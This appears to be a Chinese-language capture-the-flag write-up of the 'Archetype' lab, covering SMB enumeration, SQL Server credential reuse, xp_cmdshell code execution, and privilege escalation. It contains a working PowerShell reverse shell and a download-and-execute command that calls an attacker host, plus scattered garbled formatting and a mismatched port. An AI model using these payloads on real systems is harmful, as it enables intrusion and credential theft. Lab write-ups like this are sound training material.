# ArcheType
# 一、问题
Which TCP port is hosting a database server?(哪个 TCP 端口托管数据库服务器?)
What is the name of the non-Administrative share available over SMB?(SMB 上可用的非管理共享的名称是什么?)
What is the password identified in the file on the SMB share?(SMB 共享文件中标识的密码是什么?)
What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?(可以使用 Impacket 集合中的哪个脚本来建立与 Microsoft SQL Server 的身份验证连接?)
What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?(可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令 shell?)
What script can be used in order to search possible paths to escalate privileges on Windows hosts?(可以使用什么脚本来搜索可能的路径以升级 Windows 主机上的权限?)
What file contains the administrator’s password?(哪个文件包含管理员密码?)
# 二、过程
首先获取到靶场 IP 地址:10.129.147.7
一般的渗透思路都是域名 - IP - 端口 - 服务,这里已经给出 IP,所以下一步考虑这个 IP 下开了哪些端口,端口上又有什么服务
1 nmap -sC -sV 10.129.147.7
根据第二个问题需要用到 SMB,所以得用 Kali 中自带的 smbclient (smbclient 命令属于 samba 套件,它提供一种命令行使用交互式方式访问 samba 服务器的共享资源。)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 smbclient -N -L 10.129.147.7-B<ip地址>:传送广播数据包时所用的IP地址; -d<排错层级>:指定记录文件所记载事件的详细程度; -E:将信息送到标准错误输出设备; -h:显示帮助; -i<范围>:设置NetBIOS名称范围; -I<IP地址>:指定服务器的IP地址; -l<记录文件>:指定记录文件的名称; -L:显示服务器端所分享出来的所有资源; -M<NetBIOS名称>:可利用WinPopup协议,将信息送给选项中所指定的主机; -n<NetBIOS名称>:指定用户端所要使用的NetBIOS名称; -N:不用询问密码; -O<连接槽选项>:设置用户端TCP连接槽的选项; -p<TCP连接端口>:指定服务器端TCP连接端口编号; -R<名称解析顺序>:设置NetBIOS名称解析的顺序; -s<目录>:指定smb.conf所在的目录; -t<服务器字码>:设置用何种字符码来解析服务器端的文件名称; -T<tar选项>:备份服务器端分享的全部文件,并打包成tar格式的文件; -U<用户名称>:指定用户名称; -w<工作群组>:指定工作群组名称。
下来就是进入到这个 backups 里面看看里面都有什么东西
1 2 3 4 smbclient -N //10.129.147.7/backupsls get prod.dtsConfigcat prod.dtsConfig ---重新启动一个终端
1 2 3 4 5 6 7 8 DTSConfiguration> <DTSConfigurationHeading> <DTSConfigurationFileInfo GeneratedBy= "..." GeneratedFromPackageName= "..." GeneratedFromPackageID= "..." GeneratedDate= "20.1.2019 10:01:34" /> </DTSConfigurationHeading> <Configuration ConfiguredType= "Property" Path= "\Package.Connections[Destination].Properties[ConnectionString]" ValueType= "String" > <ConfiguredValue>Data Source= . </Configuration> </DTSConfiguration>
找到账号和密码,下一步就是利用这个账号和密码登录这个 SQL
Kali 中使用了 impacket-mssqlclient 工具连接 SQL,这是第三方工具需要从 github 上下载
1 2 3 git clone https://gi thub.com/CoreSecurity/im packet.git cd impacket/ python setup.py install
使用 SELECT IS_SRVROLEMEMBER('sysadmin')
查看当前是否有 sysadmin(最高级别)的 SQL Server 权限,返回 1,则表示具有该权限
有了权限使用 xp_cmdshell 并在主机上获得 RCE
1 2 3 4 5 6 enable_xp_cmdshell // 开启xp_cmdshell,如果不能则需要执行下边几行命令 EXEC sp_configure 'Show Advanced Options' , 1 ; // 允许修改数据库高级配置选项 reconfigure; // 确认上面的操作 EXEC sp_configure 'xp_cmdshell' , 1 ; // 启用xp_cmdshell,允许SQL server执行系统命令 reconfigure; // 确认上面的操作 xp_cmdshell "whoami" // 查看当前权限
往下就是要反弹 shell
在桌面新建一个文件 shell.ps1,在文件当中写入如下内容:
1 $client = New-Object System.Net.Sockets.TCPClient("10.10.16.93" ,443 );$stream = $client .GetStream();[byte []]$bytes = 0 ..65535 |%{0 };while (($i = $stream .Read($bytes , 0 , $bytes .Length)) -ne 0 ){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes ,0 , $i );$sendback = (iex $data 2 >&1 | Out-String );$sendback2 = $sendback + "# " ;$sendbyte = ([text.encoding ]::ASCII).GetBytes($sendback2 );$stream .Write($sendbyte ,0 ,$sendbyte .Length);$stream .Flush()};$client .Close()
把里面的 IP 换成本地 IP 地址 (使用 ifconfig— 然后查看 tun0 的 IP)
重新开启两个终端一个开启 80,一个开启 443
1 2 python3 -m http.server 80 nc -lvnp 4443
在 SQL 终端下使用
1 xp_cmdshell "powershell "Import -Module Microsoft.PowerShell.Utility;IEX (New -Object Net.WebClient).DownloadString(\"http://10.10.16.93/shell.ps1\");""
以上在 443 终端下,出现 #号说明反弹成功
此时使用:
1 type C :\Users\sql_svc\Desktop\user.txt
拿到第一个 flag
使用如下命令获取到 powershell 的历史记录
1 type C :\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.tx
我们可以看出该用户执行过命令 net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
。该命令的作用是将主机 ARchetype 上的 backups 文件夹映射到自己的 T 盘,后面紧随着用户名和密码。
使用命令 impacket-psexec administrator@10.129.147.7
进行提权
在 type C:\Users\Administrator\Desktop\root.txt
得到最后一个 flag
# 参考链接: